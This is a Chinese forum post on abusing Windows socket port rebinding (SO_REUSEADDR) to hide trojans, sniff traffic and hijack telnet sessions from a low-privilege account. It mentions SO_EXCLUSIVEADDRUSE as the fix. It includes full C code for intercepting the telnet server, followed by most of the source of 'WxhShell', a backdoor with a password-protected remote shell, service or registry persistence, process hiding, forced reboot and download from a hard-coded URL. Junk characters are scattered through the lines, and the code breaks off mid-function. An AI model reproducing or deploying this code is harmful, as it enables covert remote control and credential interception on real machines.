社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9138阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "tK|/R+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9%"`9j~H>  
1uCF9P ai  
  saddr.sin_family = AF_INET; >tx[UF@P@  
SM2N3"\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r4DHALu#)  
ewHs ]V+U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !n P4S)A  
Q\T?t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8 H3u"  
6EO@ Xf7,  
  这意味着什么?意味着可以进行如下的攻击: VX>j2Z'  
5Pxx)F9]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .Eb]}8/}E  
oif|X7H;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4*Gv0#dga  
41s\^'^&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v Y0ESc{  
T93st<F=R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &[_@f#  
V*5v JF0j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !c1M{klP  
".waCt6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?6{g7S%  
kS=nH9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +!E9$U>6%  
]!@=2kG4  
  #include RA[%8Rh)  
  #include |WEl5bNc3  
  #include 'b z&m(!  
  #include    5]upfC6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~zG)<S"q  
  int main() sQ,xTWdj  
  { rpDBKo  
  WORD wVersionRequested; E2YVl%.  
  DWORD ret; u' Q82l&Y  
  WSADATA wsaData; gx',K1T  
  BOOL val; TI/RJF b  
  SOCKADDR_IN saddr; 8q9ATB-^>  
  SOCKADDR_IN scaddr; HGh -rEh  
  int err; :]]x^wony~  
  SOCKET s; )S 4RR2Q>  
  SOCKET sc; :z&kbG  
  int caddsize; }+G5i_a  
  HANDLE mt; ~ {yy{  
  DWORD tid;   80'@+AD  
  wVersionRequested = MAKEWORD( 2, 2 ); X0-PJ-\aD@  
  err = WSAStartup( wVersionRequested, &wsaData ); >u(^v@Ejf  
  if ( err != 0 ) { :vzIc3~c:`  
  printf("error!WSAStartup failed!\n"); }LKD9U5;8  
  return -1; *Egg*2P;"Q  
  } Z]oGE@! n"  
  saddr.sin_family = AF_INET; mH0OW  
   W=w]`'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 saQs<1  
Q"nw.FjUG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YG8V\4 SQ  
  saddr.sin_port = htons(23); I`rN+c:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \Cj3jg  
  { )lJAMZ 5xp  
  printf("error!socket failed!\n"); c%^B '  
  return -1; Z"_8 l3  
  } }r,xx{.u7  
  val = TRUE; |N"K83_pr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W Zm8!Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) czpu^BT;;T  
  { 1iLo$  
  printf("error!setsockopt failed!\n"); 2IRARZ,3  
  return -1; ?[m1?  
  } AWx@Z7\z"g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k{{3nenAG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KV|D]}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oy5K* }  
Skg/iH"(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u_ l?d  
  { /.CS6W^z  
  ret=GetLastError(); %=9o'Y,4  
  printf("error!bind failed!\n"); Z|Rc54Ct  
  return -1; @KU;' th  
  } 1zH?.-  
  listen(s,2); *pSnEWwE  
  while(1) g3&nxZ  
  { CJ%'VijhD  
  caddsize = sizeof(scaddr); K8MET&  
  //接受连接请求 ,f>9oOqqA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^>Z_3 {s:$  
  if(sc!=INVALID_SOCKET) 8h@L_*Kr  
  { ]k^?=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qkx*T9W   
  if(mt==NULL) yq k8)\p  
  { F0z7".)  
  printf("Thread Creat Failed!\n"); T$%QK?B  
  break; S`zu.8%5  
  } G dNhEv  
  } rf4f'cUa  
  CloseHandle(mt); gj @9(dk%  
  } cnQ2/ZZp~  
  closesocket(s); WPNw")t!  
  WSACleanup(); SJa>!]U'xI  
  return 0; Z'y&11  
  }   r(uo-/7z  
  DWORD WINAPI ClientThread(LPVOID lpParam) oxN5:)  
  { EFh^C.S8  
  SOCKET ss = (SOCKET)lpParam; XX%K_p`&Z  
  SOCKET sc; YW&K,)L@  
  unsigned char buf[4096]; OObAn^bt  
  SOCKADDR_IN saddr; gjN'D!'E1D  
  long num; JZ`h+fAt  
  DWORD val; g =Xy{Vm  
  DWORD ret; UCfouQCj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )1M2}11uS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,3T"fT-(  
  saddr.sin_family = AF_INET; Uoe;=P@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); so$(-4(E O  
  saddr.sin_port = htons(23); {R(CGrI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {cOx0=  
  { Gt*K:KT=L  
  printf("error!socket failed!\n"); 0Atha>w^o~  
  return -1; h+j^VsP zB  
  } z{\tn.67  
  val = 100; 2XeyNX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XWS]4MB+vm  
  { s9CmR]C  
  ret = GetLastError(); e3TKQ (  
  return -1; .#SgU<Wq  
  } S@u46X>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XK3O,XM  
  { y.D+M$f  
  ret = GetLastError(); gs3(B/";c  
  return -1; z=U+FHdh/-  
  } hIV]ZYbH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6JZ>&HA  
  { E9j<+Ik  
  printf("error!socket connect failed!\n"); v9* +@  
  closesocket(sc); 8CUtY9.  
  closesocket(ss); Gkem_Z  
  return -1; /kK*%TP  
  } /tj]^QspS  
  while(1) \}=T4w-e  
  { W@r<4?Oat  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W g7 eY'FE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &(Fm@ksh\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p@f #fs  
  num = recv(ss,buf,4096,0); Vlz\n  
  if(num>0) Lg!E  
  send(sc,buf,num,0); K=0xR*ll5  
  else if(num==0) 4Xa] yA =  
  break; :FS5BT$=  
  num = recv(sc,buf,4096,0); b7\>=  
  if(num>0) b<~8\\ &  
  send(ss,buf,num,0); ^`id/  
  else if(num==0) uBt ]4d*  
  break; pIC'nO_  
  } +vxf_*0;  
  closesocket(ss); ?.< Qgd  
  closesocket(sc); _d3Z~cH  
  return 0 ; 6}N`YOJ.  
  } L5 `k3ap|  
\&kj#)JYA  
M KW~rrR  
========================================================== 2?q>yL!Gz  
gdTW ~b  
下边附上一个代码,,WXhSHELL ]R)wBug  
8=L"rekV_  
========================================================== {v]L|e%{  
B <r0y  
#include "stdafx.h" (["kbPma  
.W~XX  
#include <stdio.h> K |=o-  
#include <string.h> z*jaA;#  
#include <windows.h> ;y\/7E  
#include <winsock2.h> ) u{ ]rb[  
#include <winsvc.h> |=YK2};  
#include <urlmon.h> U&])ow):  
!;&\n3-W  
#pragma comment (lib, "Ws2_32.lib") PVlC j  
#pragma comment (lib, "urlmon.lib") +W[f>3`VQ  
K1J |\!o  
#define MAX_USER   100 // 最大客户端连接数 <lIm==U<-  
#define BUF_SOCK   200 // sock buffer _xh)]R  
#define KEY_BUFF   255 // 输入 buffer t{iRCj  
k-n`R)p:  
#define REBOOT     0   // 重启 -~8PI2  
#define SHUTDOWN   1   // 关机 K% FK  
&t8,326;  
#define DEF_PORT   5000 // 监听端口 pp(09y`]  
=Mwuhk|*  
#define REG_LEN     16   // 注册表键长度 q:)PfP+  
#define SVC_LEN     80   // NT服务名长度 G) KI{D  
hmkb!)  
// 从dll定义API ZKEoU!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 59 g//;35@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H ;=^ W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #6|ve?`I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ";7N$hWE  
P=,\wM6T|  
// wxhshell配置信息 %!A:Ka!m.  
struct WSCFG { !J;Bm,Xn6  
  int ws_port;         // 监听端口 ck0%H#BYY  
  char ws_passstr[REG_LEN]; // 口令 D1-/#QN$1  
  int ws_autoins;       // 安装标记, 1=yes 0=no cKkH*0B5  
  char ws_regname[REG_LEN]; // 注册表键名 ~L<"]V+B  
  char ws_svcname[REG_LEN]; // 服务名 d'MZ%.#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <t(H+ykh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .^9khK J;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ),`jMd1`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ](R /4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5<*E S[S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J61%a,es  
r-$xLe7a  
}; #$S~QS.g  
{~O4*2zg;K  
// default Wxhshell configuration PUO7Z2  
struct WSCFG wscfg={DEF_PORT, S>T ;`,  
    "xuhuanlingzhe", Q3hf =&$  
    1, *GXPN0^Qjo  
    "Wxhshell", 9F 3,  
    "Wxhshell", x1g-@{8]j  
            "WxhShell Service", Tf5m YCk  
    "Wrsky Windows CmdShell Service", T:kliM"z  
    "Please Input Your Password: ", ;6hoG(3 +  
  1, # A4WFZ  
  "http://www.wrsky.com/wxhshell.exe", HRE?uBkjf  
  "Wxhshell.exe" dh6kj-^;Cf  
    }; &AxtSIpucP  
 /d|:  
// 消息定义模块 i9Bh<j>:J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j"~"-E(79  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '6NrL;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RICm$,  
char *msg_ws_ext="\n\rExit."; M.dX;iM<  
char *msg_ws_end="\n\rQuit."; ^g(qP tQ  
char *msg_ws_boot="\n\rReboot..."; Q]=/e7  
char *msg_ws_poff="\n\rShutdown..."; \='LR!_  
char *msg_ws_down="\n\rSave to "; JL#LCU ?  
@Hp%4$=  
char *msg_ws_err="\n\rErr!"; x[TLlV:{  
char *msg_ws_ok="\n\rOK!"; WxYEu +_  
S+.>{0!S"  
char ExeFile[MAX_PATH]; ^`lDw  
int nUser = 0; zMpvS rc  
HANDLE handles[MAX_USER]; A/a=)s u  
int OsIsNt; 7{M&9| aK  
(|AZO!  
SERVICE_STATUS       serviceStatus; X(E`cH |  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )b]!IP3  
ENqZ=Lyq  
// 函数声明 V-(]L:[JQ  
int Install(void); Z>g&%3j  
int Uninstall(void); iTdamu`L  
int DownloadFile(char *sURL, SOCKET wsh); 2>X yrG  
int Boot(int flag); mgH~GKf^  
void HideProc(void); T$0)un  
int GetOsVer(void); ;|XX^  
int Wxhshell(SOCKET wsl); 0#'MR.,  
void TalkWithClient(void *cs); g"'BsoJ  
int CmdShell(SOCKET sock); e}{#VB<  
int StartFromService(void); *^; MWI  
int StartWxhshell(LPSTR lpCmdLine); M {'(+a[  
?;UR9f|!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bt")RG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pe,y'w{  
& .1-6  
// 数据结构和表定义 aO}hE 2]  
SERVICE_TABLE_ENTRY DispatchTable[] = <L8FI78[*  
{ i75\<X  
{wscfg.ws_svcname, NTServiceMain}, ]Kjt@F";  
{NULL, NULL} 8dx 7@y?z  
}; b/oNQQM#Dk  
5V(#nz  
// 自我安装 dKEy6C"@  
int Install(void) <f:(nGj  
{ -J 6`  
  char svExeFile[MAX_PATH]; |PYyhY  
  HKEY key; 6`'g ${U  
  strcpy(svExeFile,ExeFile); Q'^'G>MBJ  
aJ=)5%$6kc  
// 如果是win9x系统,修改注册表设为自启动 q0ab]g+  
if(!OsIsNt) { cyd&bxPgj+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0@{bpc rc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k1g-%DB  
  RegCloseKey(key); l%Ke>9C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d5LBL'/o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6v scu2  
  RegCloseKey(key); _0u=}tc  
  return 0; Qh8pOUD0l}  
    } p3-~cr.LD  
  } "h1ek*(?<  
} /YPG_,lRA  
else { =os!^{p7>  
JDa_;bqL  
// 如果是NT以上系统,安装为系统服务 POl-S<QV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y[Dgyt  
if (schSCManager!=0)  s=:LS  
{ OB=bRLd.IR  
  SC_HANDLE schService = CreateService ZR=i*y  
  ( @mu{*. &  
  schSCManager, z"  z$.c  
  wscfg.ws_svcname, G2n. NW#d4  
  wscfg.ws_svcdisp, 5FB3w48  
  SERVICE_ALL_ACCESS, :8bq0iqsV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  \>"Zn7  
  SERVICE_AUTO_START, +|GHbwvp  
  SERVICE_ERROR_NORMAL, b(U5n"cdA  
  svExeFile, #sF#<nHZ  
  NULL, Av n-Ug  
  NULL, QYDI-<.(  
  NULL, p;, V  
  NULL, ZB$yEW]]~  
  NULL 6IK>v*<  
  ); .i )K#82  
  if (schService!=0) 4Hyp]07  
  {  )D+eWo  
  CloseServiceHandle(schService); ,'Y KL",  
  CloseServiceHandle(schSCManager); nzAySMD_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {_4Hsw?s6  
  strcat(svExeFile,wscfg.ws_svcname); krlebPs[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { elKp?YN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OUN~7]OD%  
  RegCloseKey(key); O['[_1n_u]  
  return 0; i,RbIZnJ  
    } JY:Fu  
  } sT iFh"8d>  
  CloseServiceHandle(schSCManager); )Mflt0fp  
} NODg_J~T  
} JB5%\   
Ssir?ZUm   
return 1; w0yzC0yBk  
} ]{|l4e4P  
M`=\ijUwN  
// 自我卸载 oWDn_GnG`h  
int Uninstall(void) `T%nGVl>\  
{ =*-a c  
  HKEY key; k&K'FaM!  
{<Y!'WL{  
if(!OsIsNt) { r4 5}o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !p36OEx  
  RegDeleteValue(key,wscfg.ws_regname); h;(mb2[R  
  RegCloseKey(key); lt5Knz2G,Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $mq+/|bn  
  RegDeleteValue(key,wscfg.ws_regname); MfI+o<{r  
  RegCloseKey(key); SFP?ND+7  
  return 0; *fyaAv  
  } ,5~C($-t  
}  bFA lC  
} y~t e!C  
else { ]-heG'y]{  
(yT&&_zY4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h{~GzrL*  
if (schSCManager!=0) g[ @Q iy  
{ D 7thLqA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ei]Q<vT6  
  if (schService!=0) 8ce'G" b  
  { \:JY[s/  
  if(DeleteService(schService)!=0) { "K|':3n|  
  CloseServiceHandle(schService); )g-0b@z!n  
  CloseServiceHandle(schSCManager); voP #}fD  
  return 0; Kp;<z<  
  } .[:WMCc\  
  CloseServiceHandle(schService); 97>|eDc Y  
  } XTb .cqOC  
  CloseServiceHandle(schSCManager); >)>~S_u  
} a9 S&n5  
} TEK#AR  
//$^~} wt  
return 1; w 17{2']  
} "yU<X\n i  
X2np.9hie  
// 从指定url下载文件 /bC@^Y&}  
int DownloadFile(char *sURL, SOCKET wsh) ja{x}n*5  
{ }Vm'0  
  HRESULT hr; g+&wgyq5  
char seps[]= "/"; 8_rd1:t5  
char *token; jW| ,5,43  
char *file; ?^8.Sa{  
char myURL[MAX_PATH]; 0+_;6  
char myFILE[MAX_PATH]; {FC<vx{42  
I.2>d_^<  
strcpy(myURL,sURL); 8y?q)y9h  
  token=strtok(myURL,seps); S@,x^/vT  
  while(token!=NULL) -s91/|n  
  { Ym-mfWo^#  
    file=token; ^@'zQa  
  token=strtok(NULL,seps); 8-O: e  
  } *TxR2pC}  
0J5$ Yw1'F  
GetCurrentDirectory(MAX_PATH,myFILE); 8l?@ o  
strcat(myFILE, "\\"); PIsXX#`7;  
strcat(myFILE, file); 4!M0)Nix  
  send(wsh,myFILE,strlen(myFILE),0); `RqV\ 6G+  
send(wsh,"...",3,0); 0V2~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Us>n`Lj@  
  if(hr==S_OK) ]h=y  
return 0; :`@W`V?6-  
else W3MH8z   
return 1; V<n#%!M5gV  
tKi ^0vE8  
} <V8=*n"mR  
qV$0 ";d  
// 系统电源模块 %we! J%'Y]  
int Boot(int flag) ;O .;i,#Z  
{ c-?0~A  
  HANDLE hToken; Tkh?F5l  
  TOKEN_PRIVILEGES tkp; dTU`@!f  
(b.Mtd  
  if(OsIsNt) { lqoVfj'6M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w-wJhc|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ojp|/yd^YL  
    tkp.PrivilegeCount = 1; iA"H*0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /'>ck2drjk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U}-hV@y  
if(flag==REBOOT) { eoiC.$~\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /cD]m  
  return 0; w*4sT+ P  
} sR$/z9w  
else { aU] nh. a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &e4EZ  
  return 0; AeW_W0j  
} vrsOA@ee3H  
  } <2w 41QZX  
  else { ,fs>+]UY3  
if(flag==REBOOT) { bxww1NG>|Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wA%,_s/U  
  return 0; ?,!C0ts  
} j&,%v+x  
else { k8ymOx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?uE@C3 e  
  return 0; Zu^J X/um  
} Y &*nj`n  
} !2=eau^p  
.iEzEmu  
return 1; Io)@u~yz  
} g _u  
8.D9OpU  
// win9x进程隐藏模块 x):h|/B  
void HideProc(void) |H-zm&h>'  
{ t=r*/DxX=  
^/Frg<>'p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GEfTs[  
  if ( hKernel != NULL ) 4p/d>DTiM  
  { 4ko(bW#jL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =a./HCF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7Dx <Sr!  
    FreeLibrary(hKernel); C5'#0}6i  
  } ;jT@eBJ  
C C`Y r  
return; B#x.4~YX  
} ;kF+V*  
~YrO>H` B  
// 获取操作系统版本 Hz3KoO &  
int GetOsVer(void) *8xMe  
{ 1"} u51  
  OSVERSIONINFO winfo; 8|\?imOp\[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t9m08K:Y  
  GetVersionEx(&winfo); H5p&dNO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g=n /w  
  return 1; =xsTVT;sj  
  else 8u#2M8.5E  
  return 0; [e`6gGO  
} Fop'm))C8  
. ,n>#lL  
// 客户端句柄模块 U_C 1GT-|  
int Wxhshell(SOCKET wsl) ,qO2D_  
{ ^ Nm!b  
  SOCKET wsh; r4Jc9Tv d  
  struct sockaddr_in client; Y**|e4  
  DWORD myID; +`~6Weay  
y8=H+Y  
  while(nUser<MAX_USER) *Nh[T-y(s  
{ -85W/%  
  int nSize=sizeof(client); SpX6PwM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '#@tovr  
  if(wsh==INVALID_SOCKET) return 1; qFYM2  
H~r":A'"*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lkl ^ `  
if(handles[nUser]==0) Mi&jl_&  
  closesocket(wsh); TbA=bkj[4  
else \ POQeZ  
  nUser++; R3%&\<a)9  
  } _V-pr#lP1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DS1_hbk  
;B !u=_'  
  return 0; YA%0{Tdxz  
} Vi_6O;  
ww$Ec  
// 关闭 socket ua>YI  
void CloseIt(SOCKET wsh) _G=k^f_  
{ H^C$2f  
closesocket(wsh); u~q6?*5  
nUser--; jz72~+)T  
ExitThread(0); X[KHI1@w  
} o+^5W  
%6@->c{  
// 客户端请求句柄 ky-9I<Z,,  
void TalkWithClient(void *cs) r5S5;jL%t  
{ Z1ZjQt#~+  
/32x|Ow# 1  
  SOCKET wsh=(SOCKET)cs; vX/("[  
  char pwd[SVC_LEN]; tKKQli4Mn4  
  char cmd[KEY_BUFF]; rGb<7b%  
char chr[1]; RYuR&0_{  
int i,j; d/Y#oVI  
wmnh7'|0u  
  while (nUser < MAX_USER) { MGE8S$Z  
X(*MHBd  
if(wscfg.ws_passstr) { wPrqFpf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /[RO>Z9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #[.aj2  
  //ZeroMemory(pwd,KEY_BUFF); | )M>;q   
      i=0; %d"d<pvx  
  while(i<SVC_LEN) { C6{\^kG^j2  
5>u,Qh  
  // 设置超时 #9ZHt5T=$  
  fd_set FdRead; x|lX1Mh$  
  struct timeval TimeOut; }*9mNE  
  FD_ZERO(&FdRead); \olYv!f  
  FD_SET(wsh,&FdRead); dNfME*"yN  
  TimeOut.tv_sec=8; >s|zr S)  
  TimeOut.tv_usec=0; X/' t1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'sT7t&v~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EwKFT FL  
{kNV|E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N(=Z4Nk5  
  pwd=chr[0]; ap|$8 G  
  if(chr[0]==0xd || chr[0]==0xa) { T_/ n#e  
  pwd=0; 1E]TH/JK  
  break; * faG0le  
  } <Po$|$_~  
  i++; ATscP hk  
    } f )Ef-o  
KO3X)D<3  
  // 如果是非法用户,关闭 socket ur K~]68  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AMf{E  
} Jwt_d }ns  
j9^V)\6)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N83c+vs%c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hxe X6  
yeqH eZ  
while(1) { ! n13B  
xka&,`z  
  ZeroMemory(cmd,KEY_BUFF); H=v=)cUe[  
$1}Y4>3  
      // 自动支持客户端 telnet标准   >&%#`PKT  
  j=0; VtnVl`/]  
  while(j<KEY_BUFF) { PJ3M,2H1b.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '4"c#kCKL  
  cmd[j]=chr[0]; S-%itrB*  
  if(chr[0]==0xa || chr[0]==0xd) { [2\jQv\Y  
  cmd[j]=0; v1}9i3Or#  
  break; ~6Pv5DKq  
  } 8$`$24Wx  
  j++; ~KP@wD~  
    } 1'4?}0Dok  
+LwwI*;b  
  // 下载文件 _{&bmE  
  if(strstr(cmd,"http://")) { L~|_CRw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @<`P-+m  
  if(DownloadFile(cmd,wsh)) #G!\MYfQt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B|SE |  
  else D A_}pS"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c$^~7.~{Qy  
  } E)F#Z=)  
  else { \zLKSJ]  
[PX%p ;"D  
    switch(cmd[0]) { nAaY5s0D  
  xVN(It7g  
  // 帮助 fR>"d<;T  
  case '?': { jG["#5<?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H[2W(q6  
    break; @id!F<+%oD  
  } H;{IOBo  
  // 安装 IN7Cpg~9%  
  case 'i': { P"f4`q  
    if(Install()) ,{2= nb[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -an~&C5\  
    else  !U=o<)I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l/-qVAd!q  
    break; 9 iV_  
    } t$z 5m<8  
  // 卸载 pS+hE4D  
  case 'r': { Te2 C<c  
    if(Uninstall()) &oxHVZJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~$d(@T&  
    else N$N 7aE$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %E2V$l0  
    break; d.$0X/0  
    } ; ,n}>iTE  
  // 显示 wxhshell 所在路径 ]w_JbFmT  
  case 'p': { [\-)c[/  
    char svExeFile[MAX_PATH]; `*",_RO;  
    strcpy(svExeFile,"\n\r"); >u+%H vzc  
      strcat(svExeFile,ExeFile); |eI!wgQx  
        send(wsh,svExeFile,strlen(svExeFile),0); wC?>,LOl  
    break; uj:1_&g  
    } L$6W,D  
  // 重启 B$ jX%e{:S  
  case 'b': { ^h!}jvqE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4Z.Dz@.c(  
    if(Boot(REBOOT)) aGNb  Cm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$Y_ %}  
    else { #'dNSez5  
